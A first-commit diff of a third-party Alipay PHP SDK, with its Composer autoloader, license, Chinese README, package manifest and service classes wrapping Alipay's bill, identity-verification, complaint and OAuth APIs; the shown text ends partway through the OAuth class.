first commit
This commit is contained in:
Vendored
+25
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
// autoload.php @generated by Composer
|
||||
|
||||
if (PHP_VERSION_ID < 50600) {
|
||||
if (!headers_sent()) {
|
||||
header('HTTP/1.1 500 Internal Server Error');
|
||||
}
|
||||
$err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
|
||||
if (!ini_get('display_errors')) {
|
||||
if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
|
||||
fwrite(STDERR, $err);
|
||||
} elseif (!headers_sent()) {
|
||||
echo $err;
|
||||
}
|
||||
}
|
||||
trigger_error(
|
||||
$err,
|
||||
E_USER_ERROR
|
||||
);
|
||||
}
|
||||
|
||||
require_once __DIR__ . '/composer/autoload_real.php';
|
||||
|
||||
return ComposerAutoloaderInita012aca486d6abc048243f4697c6ac40::getLoader();
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2023 消失的彩虹海
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
# Alipay SDK for PHP
|
||||
支付宝开放平台第三方 PHP SDK,基于官方最新版本,支持公钥和公钥证书2种模式。
|
||||
|
||||
### 功能特点
|
||||
|
||||
- 根据支付宝开放平台最新API开发,相比官方SDK,功能更完善,代码更简洁
|
||||
- 支持支付宝服务商模式与互联网平台直付通模式
|
||||
- 支持Composer安装,无需加载多余组件,可应用于任何平台或框架
|
||||
- 符合`PSR`标准,你可以各种方便的与你的框架集成
|
||||
- 基本完善的PHPDoc,可以随心所欲添加本项目中没有的API接口
|
||||
|
||||
### 环境要求
|
||||
|
||||
`PHP` >= 7.1
|
||||
|
||||
### 使用方法
|
||||
|
||||
1. Composer 安装。
|
||||
|
||||
```bash
|
||||
composer require cccyun/alipay-sdk
|
||||
```
|
||||
|
||||
2. 创建配置文件 [`config.php`](./examples/config.php),填写配置信息。
|
||||
|
||||
3. 引入配置文件,构造请求参数,调用AlipayTradeService中的方法发起请求,参考 [`examples/qrpay.php`](./examples/qrpay.php)
|
||||
|
||||
4. 更多实例,请移步 [`examples`](examples/) 目录。
|
||||
|
||||
5. AlipayService实现类功能说明
|
||||
|
||||
| 类名 | 说明 |
|
||||
| --------------------- | -------------------------------------------------------- |
|
||||
| AlipayTradeService | 支付宝交易功能,基本上所有支付产品都用这个 |
|
||||
| AlipayOauthService | 支付宝快捷登录功能,用于JS支付快捷登录以及第三方应用授权 |
|
||||
| AlipaySettleService | 支付宝分账功能 |
|
||||
| AlipayTransferService | 支付宝转账功能 |
|
||||
| AlipayComplainService | 支付宝交易投诉处理 |
|
||||
| AlipayCertifyService | 支付宝身份认证 |
|
||||
| AlipayCertdocService | 支付宝实名证件信息比对验证 |
|
||||
| AlipayBillService | 支付宝账单功能 |
|
||||
|
||||
6. 要对接的API在AlipayService实现类中没有,可根据支付宝官方的文档,使用AlipayService类中的aopExecute方法直接调用接口,参考 [`examples/other.php`](./examples/other.php)
|
||||
|
||||
|
||||
|
||||
+26
@@ -0,0 +1,26 @@
|
||||
{
|
||||
"name": "cccyun/alipay-sdk",
|
||||
"description": "支付宝开放平台第三方 PHP SDK,基于官方最新版本,支持公钥和公钥证书2种模式。",
|
||||
"type": "library",
|
||||
"keywords": [
|
||||
"alipay",
|
||||
"支付宝"
|
||||
],
|
||||
"license": "MIT",
|
||||
"minimum-stability": "dev",
|
||||
"prefer-stable": true,
|
||||
"require": {
|
||||
"php": ">=7.1"
|
||||
},
|
||||
"authors": [
|
||||
{
|
||||
"name": "caihong",
|
||||
"email": "admin@cccyun.cn"
|
||||
}
|
||||
],
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"Alipay\\": "src/"
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,146 @@
|
||||
<?php
|
||||
|
||||
namespace Alipay;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 支付宝账单服务类
|
||||
* @see https://opendocs.alipay.com/open/01inem
|
||||
*/
|
||||
class AlipayBillService extends AlipayService
|
||||
{
|
||||
public function __construct($config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
}
|
||||
|
||||
/**
|
||||
* 账户卖出交易查询
|
||||
* @param string $start_time 创建时间的起始
|
||||
* @param string $end_time 创建时间的结束
|
||||
* @param int $page_no 分页号,从1开始
|
||||
* @param int $page_size 分页大小1000-2000,默认2000
|
||||
* @return mixed {"page_no":"1","page_size":"2000","total_size":"10000","detail_list":[]}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function sellQuery(string $start_time, string $end_time, int $page_no = 1, int $page_size = 2000)
|
||||
{
|
||||
$apiName = 'alipay.data.bill.sell.query';
|
||||
$bizContent = [
|
||||
'start_time' => $start_time,
|
||||
'end_time' => $end_time,
|
||||
'page_no' => $page_no,
|
||||
'page_size' => $page_size,
|
||||
];
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 账户买入交易查询
|
||||
* @param string $start_time 创建时间的起始
|
||||
* @param string $end_time 创建时间的结束
|
||||
* @param int $page_no 分页号,从1开始
|
||||
* @param int $page_size 分页大小1000-2000,默认2000
|
||||
* @return mixed {"page_no":"1","page_size":"2000","total_size":"10000","detail_list":[]}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function buyQuery(string $start_time, string $end_time, int $page_no = 1, int $page_size = 2000)
|
||||
{
|
||||
$apiName = 'alipay.data.bill.buy.query';
|
||||
$bizContent = [
|
||||
'start_time' => $start_time,
|
||||
'end_time' => $end_time,
|
||||
'page_no' => $page_no,
|
||||
'page_size' => $page_size,
|
||||
];
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 账户账务明细查询
|
||||
* @param string $start_time 创建时间的起始
|
||||
* @param string $end_time 创建时间的结束
|
||||
* @param int $page_no 分页号,从1开始
|
||||
* @param int $page_size 分页大小1000-2000,默认2000
|
||||
* @param null $bill_user_id 指定用户做账单查询
|
||||
* @return mixed {"page_no":"1","page_size":"2000","total_size":"10000","detail_list":[]}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function accountlogQuery(string $start_time, string $end_time, int $page_no = 1, int $page_size = 2000, $bill_user_id = null)
|
||||
{
|
||||
$apiName = 'alipay.data.bill.accountlog.query';
|
||||
$bizContent = [
|
||||
'start_time' => $start_time,
|
||||
'end_time' => $end_time,
|
||||
'page_no' => $page_no,
|
||||
'page_size' => $page_size,
|
||||
];
|
||||
if ($bill_user_id) $bizContent['bill_user_id'] = $bill_user_id;
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 账户充值,转账,提现查询
|
||||
* @param string $start_time 创建时间的起始
|
||||
* @param string $end_time 创建时间的结束
|
||||
* @param int $page_no 分页号,从1开始
|
||||
* @param int $page_size 分页大小1000-2000,默认2000
|
||||
* @return mixed {"page_no":"1","page_size":"2000","total_size":"10000","detail_list":[]}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transferQuery(string $start_time, string $end_time, int $page_no = 1, int $page_size = 2000)
|
||||
{
|
||||
$apiName = 'alipay.data.bill.transfer.query';
|
||||
$bizContent = [
|
||||
'start_time' => $start_time,
|
||||
'end_time' => $end_time,
|
||||
'page_no' => $page_no,
|
||||
'page_size' => $page_size,
|
||||
];
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 账户当前余额查询
|
||||
* @return mixed {"total_amount":"支付宝账户余额","available_amount":"账户可用余额","freeze_amount":"冻结金额","settle_amount":"待结算金额"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function balanceQuery()
|
||||
{
|
||||
$apiName = 'alipay.data.bill.balance.query';
|
||||
return $this->aopExecute($apiName);
|
||||
}
|
||||
|
||||
/**
|
||||
* 申请电子回单
|
||||
* @param string $type 申请的类型
|
||||
* @param string $key 根据不同业务类型,传入不同参数
|
||||
* @return mixed {"file_id":"文件申请号"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function ereceiptApply(string $type, string $key)
|
||||
{
|
||||
$apiName = 'alipay.data.bill.ereceipt.apply';
|
||||
$bizContent = [
|
||||
'type' => $type,
|
||||
'key' => $key,
|
||||
];
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询电子回单状态
|
||||
* @param string $file_id 文件申请号
|
||||
* @return mixed {"status":"处理状态","download_url":"下载链接","error_message":"失败原因"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function ereceiptQuery(string $file_id)
|
||||
{
|
||||
$apiName = 'alipay.data.bill.ereceipt.query';
|
||||
$bizContent = [
|
||||
'file_id' => $file_id
|
||||
];
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,105 @@
|
||||
<?php
|
||||
|
||||
namespace Alipay;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 支付宝实名证件信息比对验证服务类
|
||||
* @see https://opendocs.alipay.com/open/01bny6
|
||||
*/
|
||||
class AlipayCertdocService extends AlipayService
|
||||
{
|
||||
/**
|
||||
* @param array $config 支付宝配置信息
|
||||
*/
|
||||
public function __construct(array $config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
}
|
||||
|
||||
/**
|
||||
* 实名证件信息比对验证预咨询
|
||||
* @param string $cert_name 真实姓名
|
||||
* @param string $cert_no 证件号码
|
||||
* @return mixed {"code":"10000","msg":"Success","verify_id":"申请验证ID"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function preconsult(string $cert_name, string $cert_no)
|
||||
{
|
||||
$apiName = 'alipay.user.certdoc.certverify.preconsult';
|
||||
$bizContent = array(
|
||||
'user_name' => $cert_name, //真实姓名
|
||||
'cert_type' => 'IDENTITY_CARD', //证件类型
|
||||
'cert_no' => $cert_no
|
||||
);
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 实名证件信息比对验证咨询
|
||||
* @param string $verify_id 申请验证ID
|
||||
* @param string $auth_token 用户授权令牌
|
||||
* @return mixed {"code":"10000","msg":"Success","passed":"F","fail_reason":"姓名不一致","fail_params":"[\\\"user_name\\\"]"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function consult(string $verify_id, string $auth_token)
|
||||
{
|
||||
$apiName = 'alipay.user.certdoc.certverify.consult';
|
||||
$bizContent = array(
|
||||
'verify_id' => $verify_id,
|
||||
);
|
||||
$params = [
|
||||
'auth_token' => $auth_token
|
||||
];
|
||||
return $this->aopExecute($apiName, $bizContent, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 跳转支付宝授权页面
|
||||
* @param string $redirect_uri 回调地址
|
||||
* @param string $verify_id 申请验证ID
|
||||
* @param $state
|
||||
* @param bool $is_get_url 是否只返回url
|
||||
* @return void|string
|
||||
*/
|
||||
public function oauth(string $redirect_uri, string $verify_id, $state = null, bool $is_get_url = false)
|
||||
{
|
||||
$param = [
|
||||
'app_id' => $this->appId,
|
||||
'scope' => 'id_verify',
|
||||
'redirect_uri' => $redirect_uri,
|
||||
'cert_verify_id' => $verify_id
|
||||
];
|
||||
if($state) $param['state'] = $state;
|
||||
|
||||
$url = 'https://openauth.alipay.com/oauth2/publicAppAuthorize.htm?'.http_build_query($param);
|
||||
|
||||
if ($is_get_url) {
|
||||
return $url;
|
||||
}
|
||||
|
||||
header("Location: $url");
|
||||
exit();
|
||||
}
|
||||
|
||||
/**
|
||||
* 换取授权访问令牌
|
||||
* @param string $code 授权码或刷新令牌
|
||||
* @param string $grant_type 授权方式(authorization_code,refresh_token)
|
||||
* @return mixed {"user_id":"支付宝用户的唯一标识","open_id":"支付宝用户的唯一标识","access_token":"访问令牌","expires_in":"3600","refresh_token":"刷新令牌","re_expires_in":"3600"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function getToken(string $code, string $grant_type = 'authorization_code')
|
||||
{
|
||||
$apiName = 'alipay.system.oauth.token';
|
||||
$params = [];
|
||||
$params['grant_type'] = $grant_type;
|
||||
if($grant_type == 'refresh_token'){
|
||||
$params['refresh_token'] = $code;
|
||||
}else{
|
||||
$params['code'] = $code;
|
||||
}
|
||||
return $this->aopExecute($apiName, null, $params);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
<?php
|
||||
|
||||
namespace Alipay;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 支付宝身份认证服务类
|
||||
* @see https://opendocs.alipay.com/open/repo-013ubq
|
||||
*/
|
||||
class AlipayCertifyService extends AlipayService
|
||||
{
|
||||
//认证成功返回页面
|
||||
private $return_url;
|
||||
|
||||
/**
|
||||
* @param array $config 支付宝配置信息
|
||||
*/
|
||||
public function __construct(array $config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
$this->return_url = $config['return_url'];
|
||||
}
|
||||
|
||||
/**
|
||||
* 身份认证初始化服务
|
||||
* @param string $outer_order_no 商户请求的唯一标识
|
||||
* @param string $cert_name 真实姓名
|
||||
* @param string $cert_no 证件号码
|
||||
* @param string $cert_type 证件类型
|
||||
* @param string $biz_code 认证场景码(FACE、SMART_FACE)
|
||||
* @return mixed {"code":"10000","msg":"Success","certify_id":"本次申请操作的唯一标识"}
|
||||
*
|
||||
* @throws Exception
|
||||
* @see https://opendocs.alipay.com/open/02ahjy
|
||||
*/
|
||||
public function initialize(string $outer_order_no, string $cert_name, string $cert_no, string $cert_type = 'IDENTITY_CARD', string $biz_code = 'SMART_FACE')
|
||||
{
|
||||
$apiName = 'alipay.user.certify.open.initialize';
|
||||
$bizContent = [
|
||||
'outer_order_no' => $outer_order_no, //商户请求的唯一标识
|
||||
'biz_code' => $biz_code, //认证场景码
|
||||
'identity_param' => [
|
||||
'identity_type' => 'CERT_INFO', //身份信息参数类型
|
||||
'cert_type' => $cert_type, //证件类型
|
||||
'cert_name' => $cert_name, //真实姓名
|
||||
'cert_no' => $cert_no, //证件号码
|
||||
],
|
||||
'merchant_config' => ['return_url'=>$this->return_url], //商户个性化配置
|
||||
];
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 身份认证开始认证
|
||||
* @param string $certify_id 本次申请操作的唯一标识
|
||||
* @return string html表单
|
||||
* @throws Exception
|
||||
*/
|
||||
public function certify(string $certify_id): string
|
||||
{
|
||||
$apiName = 'alipay.user.certify.open.certify';
|
||||
$bizContent = array(
|
||||
'certify_id' => $certify_id,
|
||||
);
|
||||
return $this->aopPageExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 身份认证记录查询
|
||||
* @param string $certify_id 本次申请操作的唯一标识
|
||||
* @return mixed {"code":"10000","msg":"Success","passed":"T"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function query(string $certify_id)
|
||||
{
|
||||
$apiName = 'alipay.user.certify.open.query';
|
||||
$bizContent = array(
|
||||
'certify_id' => $certify_id,
|
||||
);
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
<?php
|
||||
|
||||
namespace Alipay;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 支付宝交易投诉处理类
|
||||
* @see https://opendocs.alipay.com/open/02z18r
|
||||
* @see https://opendocs.alipay.com/pre-open/repo-02ei7s
|
||||
*/
|
||||
class AlipayComplainService extends AlipayService
|
||||
{
|
||||
public function __construct($config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询单条交易投诉详情
|
||||
* @param string $complain_event_id 支付宝侧投诉单号
|
||||
* @return mixed {"complain_event_id":"支付宝侧投诉单号","status":"MERCHANT_PROCESSING","trade_no":"支付宝交易号","merchant_order_no":"商家订单号","gmt_create":"投诉单创建时间","gmt_modified":"投诉单修改时间","gmt_finished":"投诉单完结时间","leaf_category_name":"用户投诉诉求","complain_reason":"用户投诉原因","content":"用户投诉内容","images":[],"phone_no":"投诉人电话号码","trade_amount":"交易金额","reply_detail_infos":[]}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function query(string $complain_event_id)
|
||||
{
|
||||
$apiName = 'alipay.merchant.tradecomplain.query';
|
||||
$bizContent = [
|
||||
'complain_event_id' => $complain_event_id,
|
||||
];
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询交易投诉列表
|
||||
* @param string|null $status 状态
|
||||
* @param string|null $begin_time 查询开始时间
|
||||
* @param string|null $end_time 查询结束时间
|
||||
* @param int $page_num 当前页
|
||||
* @param int $page_size 每页条数,最多支持20条
|
||||
* @return mixed {"page_size":10,"page_num":1,"total_page_num":5,"total_num":55,"trade_complain_infos":[]}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function batchQuery(string $status = null, string $begin_time = null, string $end_time = null, int $page_num = 1, int $page_size = 10)
|
||||
{
|
||||
$apiName = 'alipay.merchant.tradecomplain.batchquery';
|
||||
$bizContent = [
|
||||
'page_num' => $page_num,
|
||||
'page_size' => $page_size,
|
||||
];
|
||||
if ($status) $bizContent['status'] = $status;
|
||||
if ($begin_time) $bizContent['begin_time'] = $begin_time;
|
||||
if ($end_time) $bizContent['end_time'] = $end_time;
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 商户上传处理图片
|
||||
* @param string $file_path 文件路径
|
||||
* @param string $file_name 文件名
|
||||
* @return string 图片资源标识
|
||||
* @throws Exception
|
||||
*/
|
||||
public function imageUpload(string $file_path, string $file_name): string
|
||||
{
|
||||
$image_type = array_pop(explode('.',$file_name));
|
||||
if (empty($image_type)) $image_type = 'png';
|
||||
$apiName = 'alipay.merchant.image.upload';
|
||||
$params = [
|
||||
'image_type' => $image_type,
|
||||
'image_content' => new \CURLFile($file_path, '', $file_name),
|
||||
];
|
||||
$result = $this->aopExecute($apiName, null, $params);
|
||||
return $result['image_id'];
|
||||
}
|
||||
|
||||
/**
|
||||
* 商家处理交易投诉
|
||||
* @param string $complain_event_id 投诉单号
|
||||
* @param string $feedback_code 反馈类目ID
|
||||
* @param string $feedback_content 反馈内容
|
||||
* @param string|null $feedback_images 反馈图片id列表(多个用逗号隔开)
|
||||
* @return bool
|
||||
* @throws Exception
|
||||
*/
|
||||
public function feedbackSubmit(string $complain_event_id, string $feedback_code, string $feedback_content, string $feedback_images = null): bool
|
||||
{
|
||||
$apiName = 'alipay.merchant.tradecomplain.feedback.submit';
|
||||
$bizContent = [
|
||||
'complain_event_id' => $complain_event_id,
|
||||
'feedback_code' => $feedback_code,
|
||||
'feedback_content' => $feedback_content,
|
||||
];
|
||||
if ($feedback_images) $bizContent['feedback_images'] = $feedback_images;
|
||||
$this->aopExecute($apiName, $bizContent);
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* 商家留言回复
|
||||
* @param string $complain_event_id 投诉单号
|
||||
* @param string $reply_content 回复内容
|
||||
* @param string|null $reply_images 回复图片(多个用逗号隔开)
|
||||
* @return bool
|
||||
* @throws Exception
|
||||
*/
|
||||
public function replySubmit(string $complain_event_id, string $reply_content, string $reply_images = null): bool
|
||||
{
|
||||
$apiName = 'alipay.merchant.tradecomplain.reply.submit';
|
||||
$bizContent = [
|
||||
'complain_event_id' => $complain_event_id,
|
||||
'reply_content' => $reply_content,
|
||||
];
|
||||
if ($reply_images) $bizContent['reply_images'] = $reply_images;
|
||||
$this->aopExecute($apiName, $bizContent);
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* 商家补充凭证
|
||||
* @param string $complain_event_id 投诉单号
|
||||
* @param string $supplement_content 文字凭证
|
||||
* @param string|null $supplement_images 图片凭证(多个用逗号隔开)
|
||||
* @return bool
|
||||
* @throws Exception
|
||||
*/
|
||||
public function supplementSubmit(string $complain_event_id, string $supplement_content, string $supplement_images = null): bool
|
||||
{
|
||||
$apiName = 'alipay.merchant.tradecomplain.supplement.submit';
|
||||
$bizContent = [
|
||||
'complain_event_id' => $complain_event_id,
|
||||
'supplement_content' => $supplement_content,
|
||||
];
|
||||
if ($supplement_images) $bizContent['supplement_images'] = $supplement_images;
|
||||
$this->aopExecute($apiName, $bizContent);
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* RiskGO查询单条交易投诉详情
|
||||
* @param string $complain_id 支付宝侧投诉单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function riskquery(string $complain_id)
|
||||
{
|
||||
$apiName = 'alipay.security.risk.complaint.info.query';
|
||||
$bizContent = [
|
||||
'complain_id' => $complain_id,
|
||||
];
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* RiskGO查询交易投诉列表
|
||||
* @param string|null $status 状态
|
||||
* @param string|null $begin_time 查询开始时间
|
||||
* @param string|null $end_time 查询结束时间
|
||||
* @param int $page_num 当前页
|
||||
* @param int $page_size 每页条数,最多支持20条
|
||||
* @return mixed {"page_size":10,"page_num":1,"total_page_num":5,"total_num":55,"trade_complain_infos":[]}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function riskbatchQuery(string $status = null, string $begin_time = null, string $end_time = null, int $page_num = 1, int $page_size = 10)
|
||||
{
|
||||
$apiName = 'alipay.security.risk.complaint.info.batchquery';
|
||||
$bizContent = [
|
||||
'current_page_num' => $page_num,
|
||||
'page_size' => $page_size,
|
||||
];
|
||||
if ($status) $bizContent['status_list'] = [$status];
|
||||
if ($begin_time) $bizContent['begin_time'] = $begin_time;
|
||||
if ($end_time) $bizContent['end_time'] = $end_time;
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* RiskGO商户上传处理图片
|
||||
* @param string $file_path 文件路径
|
||||
* @param string $file_name 文件名
|
||||
* @return mixed 图片资源标识
|
||||
* @throws Exception
|
||||
*/
|
||||
public function riskimageUpload(string $file_path, string $file_name)
|
||||
{
|
||||
$apiName = 'alipay.security.risk.complaint.file.upload';
|
||||
$params = [
|
||||
'file_content' => new \CURLFile($file_path, '', $file_name),
|
||||
];
|
||||
return $this->aopExecute($apiName, null, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* RiskGO商家处理交易投诉
|
||||
* @param string $complain_id 投诉单号
|
||||
* @param string $process_code 投诉处理结果码
|
||||
* @param string $remark 备注
|
||||
* @param array|null $img_file_list 图片文件列表
|
||||
* @return bool
|
||||
* @throws Exception
|
||||
*/
|
||||
public function riskfeedbackSubmit(string $complain_id, string $process_code, string $remark, array $img_file_list = null): bool
|
||||
{
|
||||
$apiName = 'alipay.security.risk.complaint.process.finish';
|
||||
$bizContent = [
|
||||
'id_list' => [$complain_id],
|
||||
'process_code' => $process_code,
|
||||
'remark' => $remark
|
||||
];
|
||||
if ($img_file_list) $bizContent['img_file_list'] = $img_file_list;
|
||||
$result = $this->aopExecute($apiName, $bizContent);
|
||||
return $result['complaint_process_success'];
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,198 @@
|
||||
<?php
|
||||
|
||||
namespace Alipay;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 支付宝快捷登录服务类
|
||||
* @see https://opendocs.alipay.com/open/repo-01480o
|
||||
*/
|
||||
class AlipayOauthService extends AlipayService
|
||||
{
|
||||
/**
|
||||
* @param array $config 支付宝配置信息
|
||||
*/
|
||||
public function __construct(array $config)
|
||||
{
|
||||
if(isset($config['app_auth_token'])) unset($config['app_auth_token']);
|
||||
parent::__construct($config);
|
||||
}
|
||||
|
||||
/**
|
||||
* 跳转支付宝授权页面
|
||||
* @param string $redirect_uri 回调地址
|
||||
* @param string $state
|
||||
* @param string $scope 授权范围(auth_base,auth_user)
|
||||
* @param bool $is_get_url 是否只返回url
|
||||
* @return void|string
|
||||
*/
|
||||
public function oauth(string $redirect_uri, $state = null, $scope = 'auth_base', bool $is_get_url = false)
|
||||
{
|
||||
$param = [
|
||||
'app_id' => $this->appId,
|
||||
'scope' => $scope,
|
||||
'redirect_uri' => $redirect_uri,
|
||||
];
|
||||
if($state) $param['state'] = $state;
|
||||
|
||||
$url = 'https://openauth.alipay.com/oauth2/publicAppAuthorize.htm?'.http_build_query($param);
|
||||
|
||||
if ($is_get_url) {
|
||||
return $url;
|
||||
}
|
||||
|
||||
header("Location: $url");
|
||||
exit();
|
||||
}
|
||||
|
||||
/**
|
||||
* 换取授权访问令牌
|
||||
* @param string $code 授权码或刷新令牌
|
||||
* @param string $grant_type 授权方式(authorization_code,refresh_token)
|
||||
* @return mixed {"user_id":"支付宝用户的唯一标识","open_id":"支付宝用户的唯一标识","access_token":"访问令牌","expires_in":"3600","refresh_token":"刷新令牌","re_expires_in":"3600"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function getToken(string $code, string $grant_type = 'authorization_code')
|
||||
{
|
||||
$apiName = 'alipay.system.oauth.token';
|
||||
$params = [];
|
||||
$params['grant_type'] = $grant_type;
|
||||
if($grant_type == 'refresh_token'){
|
||||
$params['refresh_token'] = $code;
|
||||
}else{
|
||||
$params['code'] = $code;
|
||||
}
|
||||
return $this->aopExecute($apiName, null, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 支付宝会员授权信息查询
|
||||
* @param string $accessToken 用户授权令牌
|
||||
* @return mixed {"code":"10000","msg":"Success","user_id":"支付宝用户的userId","avatar":"用户头像地址","city":"市名称","nick_name":"用户昵称","province":"省份名称","gender":"性别MF"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function userinfo(string $accessToken)
|
||||
{
|
||||
$apiName = 'alipay.user.info.share';
|
||||
$params = [
|
||||
'auth_token' => $accessToken
|
||||
];
|
||||
|
||||
return $this->aopExecute($apiName, null, $params);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 跳转支付宝第三方应用授权页面
|
||||
* @param string $redirect_uri 回调地址
|
||||
* @param $state
|
||||
* @param bool $is_get_url 是否只返回url
|
||||
* @return void|string
|
||||
*/
|
||||
public function appOauth(string $redirect_uri, $state = null, bool $is_get_url = false)
|
||||
{
|
||||
$param = [
|
||||
'app_id' => $this->appId,
|
||||
'redirect_uri' => $redirect_uri,
|
||||
];
|
||||
if($state) $param['state'] = $state;
|
||||
|
||||
$url = 'https://openauth.alipay.com/oauth2/appToAppAuth.htm?'.http_build_query($param);
|
||||
|
||||
if ($is_get_url) {
|
||||
return $url;
|
||||
}
|
||||
|
||||
header("Location: $url");
|
||||
exit();
|
||||
}
|
||||
|
||||
/**
|
||||
* 跳转支付宝指定应用授权页面
|
||||
* @param string $redirect_uri 回调地址
|
||||
* @param array $app_types 对商家应用的限制类型
|
||||
* @param $state
|
||||
* @return array [PC端url, APP端url]
|
||||
*/
|
||||
public function appOauthAssign(string $redirect_uri, array $app_types, $state = null): array
|
||||
{
|
||||
$param = [
|
||||
'platformCode' => 'O',
|
||||
'taskType' => 'INTERFACE_AUTH',
|
||||
'agentOpParam' => [
|
||||
'redirectUri' => $redirect_uri,
|
||||
'appTypes' => $app_types,
|
||||
'isvAppId' => $this->appId,
|
||||
'state' => $state
|
||||
],
|
||||
];
|
||||
|
||||
$biz_data = json_encode($param, JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE);
|
||||
$pc_url = 'https://b.alipay.com/page/message/tasksDetail?bizData='.rawurlencode($biz_data);
|
||||
$app_url = 'alipays://platformapi/startapp?appId=2021003130652097&page=pages%2Fauthorize%2Findex%3FbizData%3D'.rawurlencode($biz_data);
|
||||
|
||||
return [$pc_url, $app_url];
|
||||
}
|
||||
|
||||
/**
|
||||
* 换取授权访问令牌
|
||||
* @param string $code 授权码或刷新令牌
|
||||
* @param string $grant_type 授权方式(authorization_code,refresh_token)
|
||||
* @return mixed {"user_id":"授权商户的user_id","auth_app_id":"授权商户的appid","app_auth_token":"应用授权令牌","app_refresh_token":"刷新令牌","re_expires_in":"3600"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function getAppToken(string $code, string $grant_type = 'authorization_code')
|
||||
{
|
||||
$apiName = 'alipay.open.auth.token.app';
|
||||
$bizContent = [
|
||||
'grant_type' => $grant_type,
|
||||
];
|
||||
if($grant_type == 'refresh_token'){
|
||||
$bizContent['refresh_token'] = $code;
|
||||
}else{
|
||||
$bizContent['code'] = $code;
|
||||
}
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
